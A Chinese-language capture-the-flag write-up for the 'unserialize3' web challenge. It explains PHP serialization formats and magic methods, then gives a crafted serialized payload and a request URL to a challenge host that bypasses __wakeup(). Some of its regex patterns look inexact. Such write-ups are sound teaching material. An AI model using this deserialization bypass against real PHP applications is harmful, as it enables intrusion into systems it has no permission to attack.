unserialize3

unserialize3 writeup

php 序列化

序列化是程序类型转化为字符串的过程

字符串的序列化

<?php
$name = "faraday";
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

s:7:"faraday";

可以统一表达为正则的形式

'/s:[0-9]+:"[^"]+";/;'

整型的序列化

<?php
$name = 1;
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

i:1;

用正则表达则是

'/i:[0-9]+/;'

浮点数的序列化

<?php
$name = 1.1;
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

d:1.1;

用正则表达则是

'/d:[0-9\.]+E[+-][0-9]+;/'

布尔值的序列化

<?php
$name =TRUE;
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

b:1;

用正则表达则是

'/b:0|1;/'

数组的序列化

<?php
$name =[1,1.1,"a",True,NULL];
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

a:5:{i:0;i:1;i:1;d:1.1;i:2;s:1:"a";i:3;b:1;i:4;N;}

分析一下结构

我们提取每一项的子串,如

i:0;i:1;
i:1;d:1.1;

i:0 表示该项的 index 是 0;i:1 表示该项是一个整型,值为 1。

用正则表达则是

'/a:[0-9]+:{(i:[0-9]+;|d:[0-9\.]+E[+-][0-9]+;|s:[0-9]+:"[^"]+";|b:0;|b:1;|N;)*}/'

对象的序列化

<?php
class class1{
    public $a=1;
    public $b=1.1;
    public $c="a";
    public $d=[1];
}
$name =new class1();
$name_ser = serialize($name);
print_r($name_ser);
?>

得到的输出是

O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}

分析一下结构

  • O 表示该对象类型为对象
  • 6 表示对象名长度为 6
  • "class1"是对象名
  • 4 表示该对象有 4 个属性
  • {}内的部分则表示每个属性

提取一下子串

s:1:"a";i:1;

表示属性名为 a 的属性是整型,值为 1

php 反序列化

反序列化是程序将符合一定格式的字符串转化为程序类型的方法

<?php
class class1{
    public $a=1;
    public $b=1.1;
    public $c="a";
    public $d=[1];
}
$name =new class1();
$name_ser = serialize($name);
print_r($name_ser);
$name_unser=unserialize($name_ser);
print_r("\n");
print_r($name_unser);
?>

得到输出

O:6:"class1":4:{s:1:"a";i:1;s:1:"b";d:1.1;s:1:"c";s:1:"a";s:1:"d";a:1:{i:0;i:1;}}
class1 Object
(
    [a] => 1
    [b] => 1.1
    [c] => a
    [d] => Array
        (
            [0] => 1
        )

)

魔术方法

魔术方法以"__"开头,跟反序列化过程相关的魔术方法有

  1. __sleep() - 对象序列化之前触发,返回一个数组指定需要序列化的属性。
  2. __wakeup() - 对象反序列化之后立即触发。可用于反序列化后的初始化操作。
  3. __set_state() - 当使用 var_export()导出类时触发,用于返回要导出的属性数组。
  4. __clone() - 对象复制时触发,用于实现对象的深拷贝。
  5. __destruct() - 对象销毁前触发,可用于自定义销毁前的操作。
  6. __tostring() - 可以控制对象进行字符串转换时的字符串表示。
  7. __debuginfo() - 用于定制对象的调试信息。当对象被 var_dump()处理时被调用。
  8. __get()/__set()/__isset()/__unset() - 用于实现属性的自定义访问。
  9. __call()/__callStatic() - 调用不可访问方法时触发。
  10. __serialize()/__unserialize() - 自定义序列化/反序列化的实现。

unserialize3

回到题目,访问场景后得到:

class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
}
?code=

反序列化后立即触发__wakeup()

我们首先序列化一下

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$b=new xctf();
$c=serialize($b);
echo $c;
?>

得到输出

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

构造 url

http://61.147.171.105:57300/index.php?code=O:4:%22xctf%22:1:{s:4:%22flag%22;s:3:%22111%22;}

果然得到输出

bad requests

这说明我们对 php 的执行逻辑理解是正确的

接下来考虑如何避免触发__wakeup()

首先考虑类似 bof 的构造

O:3:"xctf":1:{s:4:"flag";s:3:"111";}

果然成功了

热门相关:落地一把98K   不科学御兽   拒嫁豪门,前妻太抢手   本法官萌萌哒   买妻种田:山野夫君,强势宠!